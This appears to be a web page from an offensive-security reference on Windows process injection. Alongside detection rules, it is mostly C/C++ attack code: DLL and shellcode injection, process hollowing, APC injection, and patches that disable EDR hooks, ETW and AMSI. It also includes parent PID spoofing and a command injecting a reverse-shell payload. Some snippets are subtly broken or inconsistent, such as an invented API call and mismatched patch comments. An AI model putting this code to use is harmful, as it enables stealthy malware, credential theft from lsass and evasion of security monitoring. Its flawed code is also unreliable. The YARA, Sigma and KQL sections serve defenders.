🧠 Description

What is Process Injection?

Process Injection is a technique used to execute arbitrary code within the address space of another process. This allows attackers to hide their malicious activity by disguising it as legitimate processes.

Why is it Critical?
  • Bypasses application allowlisting and AV signatures
  • Inject code into trusted processes (explorer.exe, svchost.exe)
  • Evade process monitoring and behavioral analysis
  • Access sensitive data from process memory
  • Persist across reboots without writing to disk

Types of Process Injection:

  • Classic DLL Injection: Inject DLL into running process via CreateRemoteThread
  • Process Hollowing: Unmap process and replace with malicious code
  • Process Doppelgänging: Use transaction-based file replacement
  • APC Injection: Queue Asynchronous Procedure Calls
  • Thread Execution Hijacking: Suspend and redirect thread execution
  • Early Bird Injection: Inject before process entry point

🏷️ Classification

  • MITRE ATT&CK: T1055 - Process Injection
  • Sub-techniques:
    • T1055.001 - Dynamic-link Library Injection
    • T1055.002 - Portable Executable Injection
    • T1055.003 - Thread Execution Hijacking
    • T1055.004 - Asynchronous Procedure Call Injection
    • T1055.005 - Thread Local Storage Injection
    • T1055.008 - Process Hollowing
    • T1055.009 - Process Doppelgänging
    • T1055.011 - Extra Window Memory Injection
  • Detection Difficulty: High
  • False Positive Risk: Medium

🎯 Attack Surface

Process injection techniques are commonly used in:

  • Malware Distribution: Inject into browsers to steal credentials
  • C2 Frameworks: Cobalt Strike, Metasploit, Covenant
  • Credential Theft: Inject into lsass.exe for password extraction
  • Persistence: Hide malicious code in trusted processes
  • Defense Evasion: Bypass application whitelisting
  • Lateral Movement: Inject into processes for pivot
Target Processes:
Common targets include: svchost.exe, explorer.exe, chrome.exe, notepad.exe, services.exe, lsass.exe

⚠️ Preconditions

  • Administrative Rights: Required for most injection techniques
  • Memory Allocation: Ability to allocate memory in target process
  • Thread Handle: Handle to a thread in target process
  • Target Process: Running process with accessible memory
  • Code to Inject: DLL, shellcode, or executable payload
Note: Some injection techniques like DLL hollowing may require code signing bypass on modern Windows.

🔍 Detection

Memory Forensic Indicators:

  • Unmapped Regions: Allocated memory without mapped sections
  • Cross-Process Memory Access: Write operations from external processes
  • Suspicious Handle Creation: OpenProcess with PROCESS_ALL_ACCESS
  • Remote Thread Creation: CreateRemoteThread, RtlCreateUserThread
  • Shellcode Execution: RWX memory regions with executed code

Sysmon Event IDs:

Event ID 8: CreateRemoteThread (remote thread creation)
Event ID 10: ProcessAccess (process memory access)
Event ID 12: RegistryEvent (registry modifications)
Event ID 17: PipeEvent (named pipe creation for C2)
Event ID 18: WmiEvent (WMI subscription creation)

YARA Rules:

rule suspicious_process_injection {
    strings:
        $api1 "OpenProcess" ascii
        $api2 "VirtualAllocEx" ascii
        $api3 "WriteProcessMemory" ascii
        $api4 "CreateRemoteThread" ascii
        $shellcode { 0x48 0x31 0xC0 0x48 0x83 0xEC 0x20 }
    condition:
        3 of ($api*) and $shellcode
}

⚙️ Tool Automation

Malleable C2 Profiles

Cobalt Strike profiles with process injection options

Shellcode Packers

Convert payloads to shellcode for injection

Process Explorer

Sysinternals tool for monitoring process activity

Frida

Dynamic instrumentation framework

# Cobalt Strike - Spawn to specific process
beacon> spawnto x64 calc.exe

# SharpMint - Process injection toolkit
SharpMint.exe inject --pid 1234 --payload rev_shell.bin

# PE-Sieve - Detect process hollowing
PE-Sieve.exe --pid 1234 --full

💣 Basic Payloads

🧪 Classic DLL Injection (C++)
#include 
#include 

BOOL InjectDLL(DWORD pid, const char* dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;

    SIZE_T dllPathSize = strlen(dllPath) + 1;
    LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, dllPathSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!dllPathAddr) return FALSE;

    WriteProcessMemory(hProcess, dllPathAddr, dllPath, dllPathSize, NULL);

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),
        "LoadLibraryA"), dllPathAddr, 0, NULL);
    
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}
🔧 Shellcode Injection (C)
unsigned char shellcode[] = "\x48\x31\xc0\x48\x83\xec\x20\x50\x48\xb8...";

int main() {
    // Allocate executable memory in current process
    void* execMem = VirtualAlloc(0, sizeof(shellcode), 
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(execMem, shellcode, sizeof(shellcode));
    
    // Execute shellcode
    ((void(*)())execMem)();
    return 0;
}

🚀 Advanced Payloads

🔐 Process Hollowing (C++)
BOOL ProcessHollowing(const char* targetPath, unsigned char* shellcode, SIZE_T size) {
    // Create target process in suspended state
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    CreateProcessA(targetPath, NULL, NULL, NULL, FALSE, 
        CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);

    // Get context of suspended thread
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    // Unmap process sections
    HANDLE hProcess = pi.hProcess;
    PBYTE pRemoteImage = NULL;
    
    // Overwrite entry point with shellcode
    SIZE_T bytesWritten;
    LPVOID entryPoint = VirtualAllocEx(hProcess, NULL, size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, entryPoint, shellcode, size, &bytesWritten);
    
    // Update thread context
    ctx.Rip = (DWORD64)entryPoint;
    SetThreadContext(pi.hThread, &ctx);
    
    // Resume thread
    ResumeThread(pi.hThread);
    return TRUE;
}
🎭 Process Doppelgänging (C++)
BOOL ProcessDoppelgang(const char* targetExe, unsigned char* payload, SIZE_T size) {
    // Create a transaction
    HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    
    // Create section from target executable within transaction
    HANDLE hSection;
    LARGE_INTEGER maxSize = {0};
    NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize,
        PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0);
    
    // Create file within transaction
    HANDLE hFile;
    CreateFileTransactedA(targetExe, GENERIC_ALL, 0, NULL, CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);
    
    // Map the section with malicious payload
    LPVOID mappedFile = MapViewOfFile(hSection, FILE_ALL_ACCESS, 0, 0, 0);
    memcpy(mappedFile, payload, size);
    UnmapViewOfFile(mappedFile);
    
    // Create process from the section
    PROCESS_INFORMATION pi;
    STARTUPINFOA si = {sizeof(si)};
    CreateProcessFromSection(hSection, NULL, NULL, FALSE, &si, &pi);
    
    CloseHandle(hTransaction);
    return TRUE;
}
⚡ APC Injection Queue
BOOL ApcInjectionQueue(DWORD targetPid, unsigned char* shellcode, SIZE_T size) {
    // Open target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
    
    // Allocate shellcode in target process
    LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, shellcodeAddr, shellcode, size, NULL);
    
    // Open all threads
    THREADENTRY32 te32;
    te32.dwSize = sizeof(te32);
    HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    
    while (Thread32Next(hThreadSnap, &te32)) {
        if (te32.th32OwnerProcessID == targetPid) {
            HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
            
            // Queue user-mode APC to each thread
            QueueUserAPC((PAPCFUNC)shellcodeAddr, hThread, NULL);
            CloseHandle(hThread);
        }
    }
    
    CloseHandle(hThreadSnap);
    CloseHandle(hProcess);
    return TRUE;
}

🛡️ EDR Bypass Payloads

🔍 Unhooking DLLs
void UnhookDll(const char* dllName) {
    HMODULE hModule = GetModuleHandleA(dllName);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
    
    // Get original DLL from disk
    PBYTE origDll = (PBYTE)LoadLibraryExA(dllName, NULL, DONT_RESOLVE_DLL_REFERENCES);
    PIMAGE_DOS_HEADER origDosHeader = (PIMAGE_DOS_HEADER)origDll;
    PIMAGE_NT_HEADERS origNtHeaders = (PIMAGE_NT_HEADERS)(origDll + origDosHeader->e_lfanew);
    
    // Copy clean .text section over hooked one
    for (WORD i = 0; i < origNtHeaders->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(origNtHeaders) + i;
        if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
            memcpy((BYTE*)hModule + section->VirtualAddress,
                   origDll + section->VirtualAddress,
                   section->SizeOfRawData);
        }
    }
    FreeLibrary(GetModuleHandleA(dllName));
}
🚫 Blocking ETW
// ETW TiTraceEvent provider bypass
void BlockETW() {
    HANDLE ntdll = GetModuleHandleA("ntdll.dll");
    FARPROC EtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
    
    // Patch EtwEventWrite to return immediately
    DWORD oldProtect;
    VirtualProtect(EtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(BYTE*)EtwEventWrite = 0xC3; // RET instruction
    VirtualProtect(EtwEventWrite, 1, oldProtect, &oldProtect);
}

// Alternative: EtwTiLogOnstackEvent bypass
void PatchEtwTiLogOnstackEvent() {
    BYTE patch[] = { 0x48, 0x33, 0xC0, 0xC3 }; // xor rax, rax; ret
    void* target = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwTiLogOnstackEvent");
    
    DWORD old;
    VirtualProtect(target, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy(target, patch, sizeof(patch));
    VirtualProtect(target, sizeof(patch), old, &old);
}
🔒 AMSI Bypass
// Patch AMSI scan buffer to always fail
BOOL PatchAmsi() {
    HMODULE amsi = LoadLibraryA("amsi.dll");
    FARPROC AmsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");
    
    // Patch function to return AMSI_RESULT_CLEAN
    BYTE patch[] = { 
        0xB8, 0x57, 0x00, 0x07, 0x80,  // mov eax, 0x80070057 (ACCESS_DENIED)
        0xC3                           // ret
    };
    
    DWORD old;
    VirtualProtect(AmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy(AmsiScanBuffer, patch, sizeof(patch));
    VirtualProtect(AmsiScanBuffer, sizeof(patch), old, &old);
    return TRUE;
}

// Alternative: AmsiScanString bypass
BOOL PatchAmsiScanString() {
    HMODULE amsi = LoadLibraryA("amsi.dll");
    void* target = GetProcAddress(amsi, "AmsiScanString");
    
    BYTE patch[] = { 0xC3 }; // Just return
    DWORD old;
    VirtualProtect(target, 1, PAGE_EXECUTE_READWRITE, &old);
    memset(target, 0x90, 1); // NOP
    VirtualProtect(target, 1, old, &old);
    return TRUE;
}

🎭 Defense Evasion Techniques

🌊 Parent PID Spoofing
// Start process with spoofed parent (explorer.exe)
void SpoofParentPPID(const char* payloadPath) {
    PROCESS_INFORMATION pi;
    STARTUPINFOEXA si = { sizeof(STARTUPINFOEXA) };
    
    SIZE_T attrSize;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    
    si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(), HEAP_ZERO_MEMORY, attrSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
    
    // Get explorer.exe PID
    DWORD explorerPid = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
    
    if (Process32First(hSnapshot, &pe32)) {
        if (strcmp(pe32.szExeFile, "explorer.exe") == 0) {
            explorerPid = pe32.th32ProcessID;
        }
    }
    
    // Update parent process attribute
    UpdateProcThreadAttribute(si.lpAttributeList, 0, 
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &explorerPid, sizeof(explorerPid), NULL, NULL);
    
    CreateProcessA(payloadPath, NULL, NULL, NULL, FALSE,
        EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
}
🎭 Fake Command Line
// Spoof command line to appear legitimate
void SpoofCommandLine(const char* targetExe, const char* fakeArgs) {
    STARTUPINFOEXA si = { sizeof(STARTUPINFOEXA) };
    PROCESS_INFORMATION pi;
    
    // Duplicate process token
    HANDLE hProcess = GetCurrentProcess();
    HANDLE hToken;
    OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken);
    
    // Create process with custom startup info
    CreateProcessA(targetExe, (LPSTR)fakeArgs, NULL, NULL, FALSE,
        CREATE_NO_WINDOW, NULL, NULL, &si.StartupInfo, &pi);
}
🕵️ Hidden Window Station
// Create process in hidden window station
void CreateHiddenProcess(const char* exePath) {
    // Get current process handle
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    
    // Create custom window station with NULL DACL
    HWINSTA hWinSta = CreateWindowStation(NULL, 0, GENERIC_ALL, NULL);
    SetProcessWindowStation(hWinSta);
    
    // Create hidden desktop
    HDESK hDesktop = CreateDesktop("HiddenDesktop", NULL, NULL, 0, 
        GENERIC_ALL, NULL);
    
    // Spawn process in hidden context
    STARTUPINFOA si = { sizeof(si) };
    si.lpDesktop = "HiddenDesktop";
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW;
    
    PROCESS_INFORMATION pi;
    CreateProcessA(exePath, NULL, NULL, NULL, FALSE,
        CREATE_NO_WINDOW | DETACHED_PROCESS, NULL, NULL, &si, &pi);
}

💥 Impact Analysis

Capabilities Gained:
  • Signature Evasion: Code execution without AV detection
  • Behavioral Bypass: Evade process monitoring tools
  • Credential Access: Inject into lsass for password extraction
  • Privilege Escalation: Inject into SYSTEM processes
  • Persistence: Maintain foothold without files on disk
  • Lateral Movement: Inject into remote processes via DCOM/RPC

Real-World Examples:

  • TrickBot: Used process injection into browser processes
  • Emotet: Injected into legitimate Windows processes
  • Cobalt Strike: Process injection for beacon deployment
  • APT29 (Cozy Bear): Process hollowing in DUCKO-TURTLE campaigns

🛡️ Mitigation

✅ Primary Defenses:
  • Enable Advanced Threat Protection (ATP)
  • Deploy EDR solutions with behavior monitoring
  • Implement application whitelisting (AppLocker/GPO)
  • Restrict process creation via Group Policy
  • Enable Secure Boot and HVCI

Memory Protection:

  • CFG (Control Flow Guard): Prevents indirect call hijacking
  • Arbitrary Code Guard: Blocks code execution from memory pages
  • CIG (Code Integrity Guard): Only signed code can execute
  • HVCI: Hypervisor-protected code integrity

Sysmon Configuration:


  
    
      
        lsass.exe
        svchost.exe
        0x1F0FFF
        0x143A
      
    
  

⚙️ Detection Logic

Sigma Rules:

title: Process Injection via CreateRemoteThread
id: process-injection-001
status: experimental
description: Detects CreateRemoteThread API calls
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 8
    TargetThreadId: '*'
    NewThreadId: '*'
    StartAddress: '*'
  condition: selection
fields:
  - SourceProcessGuid
  - TargetProcessGuid
  - TargetThreadId
level: high

---
title: Suspicious Process Memory Access
id: process-injection-002
status: experimental
description: Detects suspicious process memory access
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    CallTrace:
      - 'C:\\Windows\\SYSTEM32\\ntdll.dll+*'
      - 'C:\\Windows\\System32\\KERNELBASE.dll'
    GrantedAccess: '0x1F0FFF'
  condition: selection
level: high

KQL Queries (Microsoft Sentinel):

SysmonEvent
| where EventID == 8
| where not(TargetProcessId in (SourceProcessId))
| project TimeGenerated, SourceProcessId, TargetProcessId, TargetThreadId, StartAddress
| where StartAddress != 0x0

// Suspicious RWX memory allocation
SysmonEvent
| where EventID == 10
| where GrantedAccess == "0x1F0FFF"
| where CallTrace contains "ntdll"
| summarize Count=count() by SourceProcessId, bin(TimeGenerated, 1h)
Back to Evasion